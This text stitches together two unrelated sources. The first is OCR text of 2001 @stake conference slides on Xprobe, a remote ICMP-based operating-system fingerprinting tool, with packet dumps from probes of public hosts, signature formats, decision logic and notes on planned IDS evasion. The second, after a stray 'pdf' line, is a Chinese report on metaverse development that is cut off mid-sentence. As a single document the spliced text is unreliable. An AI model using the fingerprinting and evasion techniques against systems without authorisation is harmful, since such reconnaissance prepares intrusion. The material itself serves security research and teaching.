62 82 19 40 00 EE 11 E3 B8 ....E..b..@..... D5 08 C7 A5 CC 98 BD 71 37 F0 7D 84 00 4E 23 25 .......q7.}..N#% 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 ...... (2) Extra Data Echoed (1) Precedence Bits Value = 0xC0 (3) TTL © 2 0 0 1 @ S T A K E , I N C . 46 Example – www.kernel.org 10/19-19:22:38.681716 213.8.199.165 -> 204.152.189.113 ICMP TTL:250 TOS:0x6 ID:54019 IpLen:20 DgmLen:68 DF Type:8 Code:123 ID:23678 Seq:38447 ECHO 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 ........ 10/19-19:22:39.031716 204.152.189.113 -> 213.8.199.165 ICMP TTL:240 TOS:0x6 ID:60236 IpLen:20 DgmLen:68 Type:0 Code:123 ID:23678 Seq:38447 ECHO REPLY 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 ........ Linux Based on Kernel 2.2.x/2.4.5+ Time Elapsed ~700ms (4) IP ID != 0 ICMP Echo Request sent with ICMP Code Field set to a value != 0 DF Bit is Set © 2 0 0 1 @ S T A K E , I N C . 47 Xprobe - OS Identification List (Static)  Microsoft Windows 95  Microsoft Windows 98  Microsoft Windows 98 SE  Microsoft Windows ME  Microsoft Windows NT4 SP3 and Below  Microsoft Windows NT4 SP4 and UP  Microsoft Windows 2000 (including SP1 and SP2)  Microsoft Windows XP © 2 0 0 1 @ S T A K E , I N C . 48 Xprobe - OS Identification List (Static)  Linux Kernel 2.0.x  Linux Kernel 2.2.x (and 2.4.5+)  Linux Kernel 2.4.0 – 2.4.4  Sun Solaris 2.3 – 2.8  Sun OS 4.x  HPUX 10.x, 11.x  MacOS 7.x-9.x  AIX 3.x, 4.x  Novell Netware © 2 0 0 1 @ S T A K E , I N C . 49 Xprobe - OS Identification List (Static)  FreeBSD 2.x - 4.1, 4.1 - 4.3, 5.0 (future)  BSDI 2.x, 3.x, 4.x  NetBSD 1.x, 1.2.x, 1.3.x, 1.4.x, 1.5.x  OpenBSD 2.1-2.3, 2.4-2.5, 2.6-2.9  Ultrix  OpenVMS  DGUX / Compaq Tru64  IBM OS/390 © 2 0 0 1 @ S T A K E , I N C . 50 Xprobe - OS Identification List (Static)  NFR Appliance  Cabletron SSR 8000  Cisco Routers with IOS 11.x-12.x  Extreme Networks Switches © 2 0 0 1 @ S T A K E , I N C . 51 Xprobe - The Signature Based Approach  The initiation of queries with the static version of Xprobe (v0.0.x) is done according to the decision tree.  Initiation of queries with the Signature based version of Xprobe (v0.x) currently has a certain logic. The Logic Of Initiation of Queries © 2 0 0 1 @ S T A K E , I N C . 52 Xprobe - The Signature Based Approach UDP Query Sent to a closed UDP port ICMP Echo Request Processing of Reply ICMP Timestamp Request Processing of Reply ICMP Address Mask Request Processing of Reply ICMP Information Request Processing of Reply If Needed If Needed If Needed If Needed Includes Extra Tests The Logic Of Initiation of Queries © 2 0 0 1 @ S T A K E , I N C . 53 Xprobe - The Signature Based Approach In the future we will initiate queries according to specific differentiations. This means that if we receive the exact response for our offending UDP query that matches two operating systems, for example, we will not automatically send an ICMP Timestamp request, but we will compare the two signatures in our database and look for the exact query that will give us the ability to differentiate between the two. This way we save bandwidth, and make the fingerprinting/manual detection harder. With more than two matches for a response we will another algorithm/decision logic. The Logic Of Initiation of Queries UDP Query Sent to a closed UDP port OS z OS t OS z OS t Query Choosed [After comparison] Comparing OSs Signatures in the DB Lookup for a match in the Signature DB © 2 0 0 1 @ S T A K E , I N C . 54 Xprobe - The Signature Based Approach platform: "Some OS v.1.2-1.3" udptest:0xc0:8:BAD:<64:0:20+:FLP:0xc0:BAD:BAD udptest1:0xd8:8:BAD:<64:0:20+:FLP:0xc0:BAD:BAD icmpecho:ZERO:0xc0:<64:ZERO:FLP:0x40:BAD icmpts: yes:<64:BAD:BAD icmpaddr: no icmpinforeq: no The signature of an OS comprises of six tests, from whom five are different tests (udptest, udptest1, icmpecho, icmpts, icmpaddr, icmpinforeq). The Signature Base © 2 0 0 1 @ S T A K E , I N C . 55 Xprobe - The Signature Based Approach udptest:<Precedence_Bits>:<Data_Bytes_Echoed>:<UDP_Check sum_Echoed>:<TTL>:<IP_ID>:<IP_Total_Length_Echoed>:<IP_O ff_Bits>:<DF_Bit>:<IP_Header_Checksum_Echoed>:<IP_ID_Ech oed> udptest:<value- bitmask>:<value>:<ZERO|BAD|GOOD>:<(=|<|>)<value>:<ZERO|O K>:<value>(+|- ):<FLP|OK>:<0|OK>:<ZERO|BAD|GOOD>:<ZERO|BAD|GOOD> udptest © 2 0 0 1 @ S T A K E , I N C . 56 Xprobe - The Signature Based Approach icmpecho:<ICMP_Code_In_ICMP_Reply>:<Precedence_Bits>:<TT L>:<IP_ID>:<IP_Off_Bits>:<DF_Bit> Udptest:<ZERO|OK>:<bitmask>:<(<|=|>)<value>:<ZERO|OK:0|O K>:<bitmask>:<NO|YES> icmpecho © 2 0 0 1 @ S T A K E , I N C . 57 Xprobe - The Signature Based Approach icmpaddr:<Answer?>:<TTL>:<IP_ID>:<DF_Bit> icmpaddr:<YES|NO>:<(<|=|>)<value>:<ZERO|OK>:<No|YES> icmpts, icmpaddrreq, icmpinfo © 2 0 0 1 @ S T A K E , I N C . 58 Xprobe - More Examples www.netbsd.org © 2 0 0 1 @ S T A K E , I N C . 59 Xprobe - More Examples www.netbsd.org © 2 0 0 1 @ S T A K E , I N C . 60 Xprobe - More Examples www.net-security.org © 2 0 0 1 @ S T A K E , I N C . 61 Xprobe - More Examples www.net-security.org © 2 0 0 1 @ S T A K E , I N C . 62 Xprobe - More Examples www.alldas.de © 2 0 0 1 @ S T A K E , I N C . 63 Xprobe - More Examples www.alldas.de © 2 0 0 1 @ S T A K E , I N C . 64 Xprobe - More Examples IP ID of the Offending Packet is not Echoed Correctly Echoing Integrity Check FreeBSD 2.x - 4.1.1 Other IP ID of the Offending Packet is Echoed Correctly UDP Checksum of the Offending Packet Echoed = 0 Echoing Integrity Check FreeBSD 4.1.1 - 4.3 FreeBSD 5.0 Other UDP Checksum of the Offending Packet Echoed ! = 0 TTL ~ 255 TTL ~ 64 FreeBSD 4.1.1-4.3 FreeBSD 5.0 Already IDENTIFIED No reply for an ICMP Information Request Echoing Integrity Check IP Header Checksum Echoed = 0 IP Header Checksum Echoed !=0 NetBSD 1.3 - 1.3I Big Endian Other www.alldas.de © 2 0 0 1 @ S T A K E , I N C . 65 Xprobe - More Examples www.alldas.de 10/19-19:14:00.871716 213.8.199.165:24493 -> 66.21.117.5:32132 UDP TTL:250 TOS:0x0 ID:56241 IpLen:20 DgmLen:98 DF Len: 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 ...... 10/19-19:14:01.191716 66.21.117.5 -> 213.8.199.165 ICMP TTL:41 TOS:0x0 ID:49572 IpLen:20 DgmLen:56 DF Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE ** ORIGINAL DATAGRAM DUMP: 213.8.199.165:24493 -> 66.21.117.5:32132 UDP TTL:233 TOS:0x0 ID:56241 IpLen:20 DgmLen:98 Len: 78 ** END OF DUMP 00 00 00 00 45 00 00 62 DB B1 40 00 E9 11 62 10 [email protected]. D5 08 C7 A5 42 15 75 05 5F AD 7D 84 00 4E 00 00 ....B.u._.}..N.. FreeBSD 5.0 (automatically supported by the 0.x version) IPID Echoed OK UDP Checksum 0 TTL < 64 © 2 0 0 1 @ S T A K E , I N C . 66 Xprobe - More Examples www.kill.net © 2 0 0 1 @ S T A K E , I N C . 67 Xprobe - More Examples www.kill.net © 2 0 0 1 @ S T A K E , I N C . 68 Xprobe - More Examples www.kill.net Xprobe - More Examples 10/19-18:59:00.911716 213.8.199.165:6314 -> 209.68.21.243:32132 UDP TTL:250 TOS:0x0 ID:54470 IpLen:20 DgmLen:98 DF Len: 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 ...... 10/19-18:59:01.211716 209.68.21.243 -> 213.8.199.165 ICMP TTL:238 TOS:0x0 ID:40233 IpLen:20 DgmLen:56 DF Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE ** ORIGINAL DATAGRAM DUMP: 213.8.199.165:6314 -> 209.68.21.243:32132 UDP TTL:238 TOS:0x0 ID:54470 IpLen:20 DgmLen:98 Len: 78 ** END OF DUMP 00 00 00 00 45 00 00 62 D4 C6 40 00 EE 11 33 DE [email protected]. D5 08 C7 A5 D1 44 15 F3 18 AA 7D 84 00 4E 00 00 .....D....}..N.. FreeBSD 4.1.1 – 4.3 (automatically supported by the 0.x version) IPID Echoed OK UDP Checksum 0 TTL < 255 © 2 0 0 1 @ S T A K E , I N C . 69 Xprobe - Known Problems  Signature Base Needs to Grow  No ids evasion is done yet. packets are easy to fingerprint. once core features developed, optional 'masking' of payload data will be done. (ICMP echo request like the once produced with the ‘ping’ utility, DNS queries etc).  ICMP Echo request is sent with a code field != 0 (still nobody looks at this parameter). © 2 0 0 1 @ S T A K E , I N C . 70 Further Reading ICMP Usage In Scanning, v3.0 by Ofir Arkin, http://www.sys-security.com X – Remote ICMP based OS Fingerprinting Techniques, by Fyodor Yarochkin and Ofir Arkin, http://www.sys-security.com RFC 792: Internet Control Message Protocol, http://www.ietf.org/rfc/rfc0792.txt RFC 1122: Requirements for Internet Hosts - Communication Layers, http://www.ietf.org/rfc/rfc1122.txt RFC 1256: ICMP Router Discovery Messages, http://www.ietf.org/rfc/rfc1256.txt RFC 1349: Type of Service in the Internet Protocol Suite, http://www.ietf.org/rfc/rfc1349.txt RFC 1812: Requirements for IP Version 4 Routers, http://www.ietf.org/rfc/rfc1812.txt © 2 0 0 1 @ S T A K E , I N C . 71 Tools Used Xprobe written by Fyodor Yarochkin & Ofir Arkin http://www.sys-security.com http://www.notlsd.net/xprobe http://xprobe.sourceforge.net tcpdump http://www.tcpdump.org Snort written by Marty Roesch http://www.snort.org
pdf
2020-2021年 元宇宙发展研究报告 @新媒沈阳 团队 王儒西 博士后 向安玲 博士生 主笔 0.98版 2021.09.1 6 理念篇 目 录 1. 孕育元宇宙 2. 元宇宙是什么? 3.虚拟与现实的关系 4. 元宇宙的理论框架 5. 对元宇宙的几点展望 1 孕育元宇宙 元宇宙前传:《雪崩》 元宇宙概念的提出: 1992 年,Neal Stephenson的科幻小说《Snow Crash》中提 出 了 “metaverse(元宇宙,汉译本译为“超元域”)”和“化身 (Avatar)”这两个概念。书中情节发生在一个现实人类通过 VR设备与虚拟人共同生活在一个虚拟空间的未来设定中。 元宇宙前传:《雪崩》 现在,阿弘正朝「大街」走去。那是超元域(元宇宙)的百老汇,超元域的香榭丽舍大道。它是一条 灯火辉煌的主干道,反射在阿弘的目镜中,能够被眼睛看到,能够被缩小、被倒转。它并不真正存在; 但此时,那里正有数百万人在街上往来穿行。「计算机协会全球多媒体协议组织」的忍者级霸主们都 是绘制电脑图形的高手,正是他们精心制定出协议,确定了大街的规模和长度。大街仿佛是一条通衢 大道,环绕于一颗黑色球体的赤道之上,这颗球体的半径超过一万公里,而大街更是长达六万五千五 百三十六公里,远比地球赤道长得多。 …… 这条大街与真实世界唯一的差别就是,它并不真正存在。它只是一份电脑绘图协议,写在一张纸上, 放在某个地方。大街,连同这些东西,没有一样被真正赋予物质形态。更确切地说,它们不过是一些 软件,通过遍及全球的光纤网络供大众使用。当阿弘进入超元域,纵览大街,当他看着楼宇和电子标 志牌延伸到黑暗之中,消失在星球弯曲的地平线之外,他实际上正盯着一幕幕电脑图形表象,即一个 个用户界面,出自各大公司设计的无数各不相同的软件。若想把这些东西放置在大街上,各家大公司 必须征得「全球多媒体协议组织」的批准,还要购买临街的门面土地,得到分区规划许可,获得相关 执照,贿赂检查人员等等等等。这些公司为了在大街上营造设施而支付的钱全部流入由「全球多媒体 协议组织」拥有和运营的一项信托基金,用于开发和扩充机器设备,维持大街继续存在。 ——《Snow Crash》 1994 Web World 第一个轴测图界面 的多人社交游戏, 用户可以实时聊天、 旅行、改造游戏世 界,开启了游戏中 的UGC模式。 元宇宙前传:开放多人游戏 1995 Worlds Incorporate d 第一个投入市场的 3D界面MMO,强 调开放性世界而非 固定的游戏剧本。 1995 Active Worlds 基于小说《雪崩》 创作,以创造一个 元宇宙为目标,提 供了基本的内容创 作工具来改造虚拟 环境。 1979 MUDs、 MUSHe s 第一个文字交互界 面的、将多用户联 系在一起的实时开 放式社交合作世界。 1986 Habitat 第一个2D图形界 面的多人游戏环境, 首次使用了化身 avatar。也是第一 个投入市场的 MMORPG。 《Second Life》:第一个现象级的虚拟世界 发布于2003年,拥有更强的世界编辑功能与发达的虚拟经济系统,吸引了大量企业与教育 机 构。开发团队称它不是一个游戏,“没有可以制造的冲突,没有人为设定的目标”,人们 可以 在其中社交、购物、建造、经商。在Twitter诞生前, BBC、路透社、 CNN等报社将 《Second Life》作为发布平台,IBM曾在游戏中购买过地产,建立自己的销售中心,瑞典 等 国家在游戏中建立了自己的大使馆,西班牙的政党在游戏中进行辩论。 元宇宙前传:Second Life 游戏拥有自己的货币 “Linden Dollar”,可 以 以一定汇率兑换法定货 币。游戏用户Anshe Chung通过买卖经营虚 拟地产,在两年时间里 赢得了一百万美元的现 实资产,成为第一个虚 拟世界中的百万富翁。 2020:人类社会虚拟化的临界点 疫情加速社会虚拟化 新冠疫情隔离政策下,全社会上网时长大幅增长,“宅经济”快速发展。 从例外状态到常态 线上生活由原先短时期的例外状态成为了常态,由现实世界的补充变成了与现实世界的平行世界。 认知改变 虚拟的并不是虚假的,更不是无关紧要的。 生活迁移 线上与线下打通,人类的现实生活开始大规模向虚拟世界迁移,人类成为现实与数字的两栖物种。 2021:元宇宙元年? 1979 文字界面开放 世界 1986 2 D 图形界面 M M O 1992 《雪崩》提出“ 元 宇宙” 和“ 化身” 概念 2003 Second Life 2006 Roblox 2017 For tnite 2021 元宇宙元年? 2021年,可以被称为“元宇宙”元年。 “元宇宙”呈现超出想象的爆发力,其 背 后是相关“元宇宙”要素的“群聚效 应” (Critical Mass),近似1995年互联 网 所经历的“群聚效应”。 ——朱嘉明 1995 3 D界面MMO 2 元宇宙是什么? 元宇宙是一个平行于现实世界,又独立于现实 世界的虚拟空间,是映射现实世界的在线虚拟 世界,是越来越真实的数字虚拟世界。——朱 嘉明 元宇宙至少包括以下要素:身份、朋友、沉浸 感、低延迟、多元化、随地、经济系统和文明。 ——Roblox CEO Dave Baszucki Metaverse是什么? Metaverse=Meta+Universe (超越) (宇宙) 元宇宙构造的七个层面:体验;发现;创作者经 济;空间计算;去中心化;人机互动;基础设 施。——Beamable公司创始人Jon Radoff 元宇宙必须提供“前所未有的互操作性”——用 户必须能够将他们的化身和商品从元宇宙中的一 个地方带到另一个地方,无论是谁在运行元宇宙 的特定部分。——Matthew Ball 虚实融合 元宇宙是什么? 具 身 互 动 UGC 经济系统 统一身 份 一元宇宙 多元宇宙 跨元宇宙 超元宇宙 手 机 XR 脑 机 接口 平台规则、协议、标准 PGC(Platform Generated Content) UGC(User Generated Content) 元宇宙是融宇宙,融合现实与虚拟 元宇宙是超宇宙,超越于现实宇宙 底层框架去中心化 分配结果再中心化 前台匿名、后台实 名 元宇宙是整合多种新技术而产生的新型虚实相融的互联网应用和社会形态, 它基于扩展现实技术提供沉浸式体验,基于数字孪生技术生成现实世界的镜 像,基于区块链技术搭建经济体系,将虚拟世界与现实世界在经济系统、社 交系统、身份系统上密切融合,并且允许每个用户进行内容生产和世界编辑。 元宇宙仍是一个不断发展、演变的概念,不同参与者以自己的方式不断丰富着它的含义。 元宇宙是什么? 虚拟世界 人类生存维度的拓展 现实世界 综合环境 虚拟视觉、听觉、触觉 人类感官维度的拓展 现实视觉、听觉、触觉 综合感官 synthetic sense synthetic environment 想象你住在《动物森友会》里的一个岛上,每天打工做任务,并且出售自己设计的家具和服装,用 挣来的钱叫了一份外卖,还买了一个虚拟艺人演唱会的票。在演唱会上你认识了几个朋友,并相约 在线下见面…… 元宇宙不是什么? 元宇宙=大型多人在线游戏+开放式任务+可编辑世界+XR入口+AI内容 生 成+经济系统+社交系统+化身系统+去中心化认证系统+现实元 素…… 创造性游玩 开放式探索 被动消费 给定任务 与现实连通 逃避现实 元宇宙=虚拟世界x现实世界 虚实二界的流动交换 元宇宙与游戏的区别 关键词网络 主题词聚类 元宇宙知识版图 图片由关键词“metaverse”在web of science中搜索生成 为什么需要元宇宙? 为什么需要元宇宙? 你可以把元宇宙看作是一个具身性的互 联网。在这里,你不再浏览内容——而 是在内容中。 ——Facebook CEO Mark Zuckerberg 在内容载体、传播方式、交互方式、参与感和互动性上长期缺乏突破,导致“没有发展的增长” WEB1.0 WEB2.0 移动互联网 元宇宙 打破桎梏,走出内卷 媒介迭代 交互迭代 观念迭代 经济迭代 社会迭代 3 虚拟与现实的关系 古代 文学、绘画、戏剧 绘声绘色 近代 电影 视听造梦 现代 VR 如临其境 未来 元宇宙 生活其中 人在现实世界所缺失的,将努力在虚拟世界进行补偿; 虚拟现实补偿论 沉浸感 参与感 补偿感 人永远都无法知道自己该要什么,因 为人只能活一次,既不能拿它跟前世 相比,也不能在来生加以修正。没有 任何方法可以检验哪种抉择是好的, 因为不存在任何比较。一切都是马上 在有可能的时候,他会在现实世界实现虚拟世界中的补偿。 经历,仅此一次,不能准备。 ——米兰·昆德 拉 现实世界是唯一的,它只能“是其所是”,但意义只有在比较中才浮现, “只活一次等于没活”。而虚构世界可以“是其所不是”,从而挖掘出存 在 的多种可能性。因此,虚构一直是人类文明的底层冲动。 基于上述“虚拟现实补偿论”,假定一个文明为了得到补 偿而创造虚拟世界的冲动是永恒的,那么在长时段的发展 中就必然会创造出一个个虚拟世界,其自身所处的世界也 极有可能是上层设计者打造的。这就是Nick Bostrom、 Elon Musk等人相信的“世界模拟”论。 永恒的创世冲动 从统计学角度看,在如此漫长的时间 内,很有可能存在一个文明,而且他 们找到了非常可信的模拟方法。这种 情况一旦存在,那么他们建立自己的 虚拟多重空间就只是一个时间问题了。 ——Elon Musk metaverse metaverse … … Meta- metaverse Meta- metaverse Grand Designer 设计 Universe … … … … … … 认知方向 补偿方向 在认知上,各层级之间具有由上而下的单向性。 例如,人类对现实世界(universe)的认知,只能接 受一系列任意(arbitrary)的物理常数设定而不知其 所以然,元宇宙中的虚拟人对于人类所设定的各种规 则也只能被动接受。 在补偿上,各层级之间具有由下而上的单向性。 宇宙之间的可能层级结构 布希亚区分了人类仿真历史的三个阶段: • 第一个阶段是仿造(counterfeit) 认为现实世界中才有价值,虚构活动要模拟、复制和反映自然。真实与它的仿造物泾渭分明。 • 第二个阶段是生产(production) 价值受市场规律支配,目的是盈利。大规模生产出来的仿造物与真实的摹本成为平等关系。 • 第三个阶段是仿真(simulation) 在此阶段,拟像创造出了“超现实”,且把真实同化于它的自身之中,二者的界限消失。作为 模仿对象的真实已经不存在,仿造物成为了没有原本的东西的摹本,幻觉与现实混淆。 人类仿真的阶段 真实不断退 却 符号不断增 殖 当在符号中无物浮现的时候,当空无 在符号体系的中心浮现的时候,这是 艺术的基本事件。诗意的操作就是要 让空无从符号权利中升起——不是对 于现实的平庸或漠不关心,而是激进 的幻想。 ——让·布希 亚 虚实融生 虚拟原生 数字孪生 元宇宙构建的三个阶段 虚实界面 综合环境的结构 虚拟世界 现实世界 区块链框架下的: 基于规则与算法运作的社交平台 基于区块链的数字货币与经济平台 基于UGC的内容平台 虚实交互设备的发展 眼:基本实现(眼镜、屏幕) 耳:基本实现(耳机、音箱) 鼻:初步实现(气味电影) 舌:尚未起步 身:初步实现(体感设备) 意:初步实现(脑机接口) 主权国家框架下的: 基于法律与社会规范的社交 基于商品与货币自由市场的经济 自发生成的文化 VR:虚拟世界完全置换现实世界 XR MR:现实环境与虚拟环境相互混 合 AR:虚拟世界叠加在现实世界上 虚拟数字人 仿真机器人 脑机接口 “在正常人中,没有分开的触觉 和 视觉体验,只有各种感知以不 可能 确定的分量融合在一体的体 验。” ——梅洛-庞蒂 综合环境 synthetic environment 4 元宇宙的理论框架 通往元宇宙的路径:沉浸vs叠加 叠加式路径 沉浸式路径 VR 虚拟数字人 AR 仿真机器人 (VR)让人变得越来越内向, 整个文明变得越来越内向。 ……我们越来越变成一种很内 向的文明,而不是向外去开 拓、去探索的文明。 ——刘慈欣 万物皆备于我 山在那里, 我来了 皮囊皮相, 灵魂情感 沉浸交互, 拟态陪伴 《Roblox》从一开始 就不提供游戏,只提供 开发平台和社区,以创 作激励机制吸引用户, 实现完全由用户打造的 去中心化世界。 通往元宇宙的路径:渐进vs激进 《堡垒之夜》以传统 的游戏模式吸引用户, 在此基础上不断添加 社交、经济等元宇宙 要素。 渐进式路径 激进式路径 通往元宇宙的路径:开放vs封闭 虚拟世界必须保持开放,必须像互联网一样在开放标准 中发展。你不会想要一个跟Facebook、iPhone,安卓 或 Twitter一样的封闭系统,因为他们会把你锁定在他们的 封闭系统中。他们会监控你正在做的事情,他们希望从 你的每一笔交易中抽佣,并把你的私人信息卖给最高出 价者。人们已经被骗进这些封闭系统中。但下一次,我 们需要一些开放的东西。 我们想要的不是一家公司,而是一个协议,任何人都可 以贯彻实施的协议。 ——Epic Games CEO Tim Sweeney 一旦我们放弃自我感知和神经系统的控制权,将 其交给那些“试图通过租借我们的眼睛、耳朵和 神经来牟利的人”进行私人操纵,我们就是个穷 光蛋,一个没有任何权利的穷光蛋。出租我们的 眼、耳和神经来让别人赚钱,就像“让私营企业 教大家日常该怎么说话”或者“把地球大气交给 了 一家公司垄断经营”一样离谱。 ——麦克卢汉 开放式路径 封闭式路径 元宇宙一方面逼真模拟了一部分现实世界中的时空 规定性,另一方面又超越、解放了一部分现实世界 中的时空规定性。玩家有时需要通过模拟现实世界 的走、跑、跳等动作来移动,有时又可以飞翔或进 行瞬时的地理迁移。正是这种有选择的解放带来自 由感。 元宇宙的物理:有选择的解放 现实世界中的时空规定性 (画面截取自《second life》) 超现实的时空规定性 • 元宇宙具有庞大的地理空间供用户选择、探索。一种发展方 向是由AI生成现实世界所没有的地图。另一种是以数字孪生 的方式生成与现实世界完全一致的地图。 • 元宇宙是开放的可编辑世界,用户可以购买/租赁土地,修 建建筑物,甚至改变地形。 • 元宇宙与现实地理的重合可产生大量虚实融合场景。 元宇宙的地理:AI生成,用户参与 《Second Life》地 图 《Ingress》将虚拟环境与现实地理 位置相结合,玩家需走到特定地点后 才能在游戏中进行传送、部署、入侵 基于地图定位帮助用户寻找酒友的 App《Beer Buddy》在美国成为爆 款 元宇宙的事理:流动、转化与关联逻辑 生产 消费 再生产 收入 获得 现实艺人的 虚拟演唱会 门票 消费 游戏比赛 组织 本地虚拟 社团 加入 奖金 赢得 化身 设计 真人 虚拟服装 购买 法币 兑换 获得 虚拟 现实 劳动力 再生产 出售 自己设计 的道具 完成 获得 任务 外卖 购买 元宇宙的心理:从认知到认同 身份认同 travatar(traveling avatar ) 虚拟世界内部的身份认同张力 虚拟身份与现实身份的张力 交互与认知 体感交互方式带来 对环境的具身性认知 在场感 “上手”状态 安全感 对不确定性的规避 秩序的建立和维持 公平感 分配公平感 程序 公平感 互动公平 感 量化属性带来的等级感 元宇宙的伦理:诸多风险需立法监管 赌博 经济诈骗 资本投机 性 隐私泄露 谣言 暴力 恐怖主义 内容审查 数字人格保护 平台法规 + 暴力机器 投票与民主 数字资产保护 极端主义 婚姻与繁衍 遗产继承 资本剥削 暗网犯罪 …… 货币监管 奖惩系统 声誉系统 来自现实的社交关系,商 业广告,政治宣传,与现 实IP联名,游戏直播,氪 金,现实景观孪生 用户的时间和注意力(包 括游戏中最受关注的大 V),分布式算力 排名,地理空间(土地、 社交场景),社交关系 非对外场景的入场券,道 具,服装,信息,虚拟景 观,虚拟劳动 来自现实的稀缺性 来自虚拟世界的稀缺性 绝对稀缺 性 相对稀缺 性 元宇宙的价值 绝对稀缺性:客观限量 相对稀缺性:人为限量 元宇宙≠后稀缺社 会 追求效率 追求体验 • 共享时空,即时互动 元宇宙的价值来源 参与 参与是排他性的 参与是稀缺性的 参与是产品的生命 用户的参与本身就是最宝贵的价值 即时通讯 场景社交 • 多样化玩法充分激活场景,提升 陌生人社交的积极性 • 时空有稀缺性,不同社交场景的 门票将具有社交圈层的价值 土地经济 地理空间的天然稀缺性+产业的集聚效应 少数地区集中了大部分的用户活动 元 宇宙中的土地价值高度分化 场景化社交 酒吧 聚会 比赛 景 点 …… 化身形象 元宇宙中所有的体验都 围绕用户 的化身展开 化身的形象是元宇宙中自我呈现 与形 成自我认同的重要方式 化身的形象将成为备受资本关注的一个领域 元宇宙多维时空的搭建 沈阳. (2007). 虚拟社区与虚拟时空隧道. 情 报杂志, 26(004), 69-71. • 沈阳于2007年提出三度空间和虚拟时空隧道 • 连接相互分割的若干个封闭的虚拟空间,可形成更大的虚拟社区空间 • 连接多个虚拟社区空间,可形成更大、更多元的虚拟社会空间 • 货币、属性、环境、事件等信息均可在异度空间和同度异构空间之间相互映射,从而实 现信息跳转和虚拟时空的穿梭 • 该模型在游戏、社交、会展、教育等领域均有广泛应用场景 5 对元宇宙的几点展望 元宇宙是虚拟与现实的全面交织 • 元宇宙时代无物不虚拟、无物不现实,虚拟与现实的区分将失去意义 • 元宇宙将以虚实融合的方式深刻改变现有社会的组织与运作 • 元宇宙不会以虚拟生活替代现实生活,而会形成虚实二维的新型生活方式 • 元宇宙不会以虚拟社会关系取代现实中的社会关系,而会催生线上线下一 体的新型社会关系 • 元宇宙并不会以虚拟经济取代实体经济,而会从虚拟维度赋予实体经济新 的活力 • 随着虚实融合的深入,元宇宙中的新型违法犯罪形式将对监管工作形成巨 大挑战 元宇宙将加深思维的表象化 印 刷 技 术 概 念 思 维 印 刷 术 承 载 的 是 “ 透 过 表 象 看 本 质 ” 的 理 性 思 维 与 严 肃 、 有 序 、 逻 辑 性 的 公 众 话 语 。 元 宇 宙 强 调 具 身 交 互 与 沉 浸 体 验 , 加 深 了 思 维 的 表 象 化 , “ 本 质 ” 不 再 重 要 。 多 媒 体 技 术 表 象 思 维 元 宇 宙 ? 多 媒 体 技 术 承 载 的 是 前 逻 辑 、 前 分 析 的 表 象 信 息 , 容 易 导 致 用 户 专 注 能 力 、 反 思 能 力 和 逻 辑 能 力 的 弱 化 。 元宇宙需警惕资本剥削 电竞选手? 游戏解说? 游戏 直播? 游戏代练? 其实每个用户都是玩工(Playbor) Play Labor 用户游玩(Play)的每分每秒都是在劳动(Labor) 而生产资料被牢牢攥在平台手里 千千万万的普通用户,是数字时代的无产阶级 游玩 与劳动边界的模糊,遮蔽了资本的剥削性 平台的隐蔽剥削: 资本家付出的报酬<用户劳动创造的价值 甘愿劳动 平台垄断 生产资料 内 容 生 产 吸引用户 元宇宙中的生产闭环 基于区块链搭建的去中心化世界, 是否能推翻这一循环? 去中心化机制≠去中心化结果 元宇宙的底层是P2P点对点 互 联的网络,从而在逻辑上 绕过 了对平台中介的需求, 对建立 在集中化、科层化原 则的组织 结构形成了挑战。 在实践中,虚拟货币的持有量越 来越向大户和机构倾斜,这又带 来分配结果上的中心化和垄断。 组织逻辑 分配结果 作为“大规模参与式媒介”, 使得元宇宙的主要推动力将来 自用户,而不是公司。元宇宙 是无数人共同创作的结晶。 内容生产 逻辑 在内容市场趋向充分竞争的过程 中,资本将寻找优秀的内容创作 者予以支持。如果平台没有可观 的变现机制,优质内容与大型资 本的绑定将越来越牢固。 市场竞争 结果 元宇宙与国家存在深刻张力 A国 家 跨国元宇宙的在地化空间 B国 家 元宇宙企业 元宇宙 跨国元宇宙 元宇宙 当地法规 社会 文化 … A国 当地法规 社会 文化 … B国 去中心化组织 国家 垄断暴力 垄断货币 元宇宙 虚拟化身 虚拟货币 现实肉身 现实货币 中心化组织 元宇宙与现代国家的张力 地理大发现 低边际成本高边际收益 资源配置的帕累托改进 资源流通,打破垄断 互利双赢,正和博弈 计算机 帕累托解 存量互割 内卷竞争 零和博弈 元宇宙 综合环境,综合感官,玩法无限,增量空间无限 元宇宙将打开巨大市场空间 建议国家推动若干元宇宙相关技术与行业发展 目前,大规模元宇宙的产品化还十分遥远,但虚实融合已是互联网发展的大 趋势。因此建议: 一、推动元宇宙相关专精特新技术发展,如: VR AR 云计算 大数 据 物联网 人工智能 二、推动元宇宙相关行业发展,如: 三、推动中国元宇宙产业全球化 智慧城市 智慧园区 智能汽车 电子商务 数字旅游 教育类游戏 心理治疗 老人陪伴 国潮时尚 数字孪生 智能硬件 产业篇 目 录 1. 元宇宙的技术底座 2. 宇宙的产业生态 3.中美日韩元宇宙发展现状 4. 面向企业的元宇宙 5. 元宇宙指数体系 1 元宇宙的技术底座 元宇宙的技术底座 内容 生产 数据 处理 虚实 界面 网络 环境 5G 人工智能、数字孪生 人工智能、云计算 拓展现实、机器人、脑机接口 认证 机制 区块链 元宇宙的通信基础:5G 应 用 场 景 发 展 趋 势 目前,基于5G的“杀手 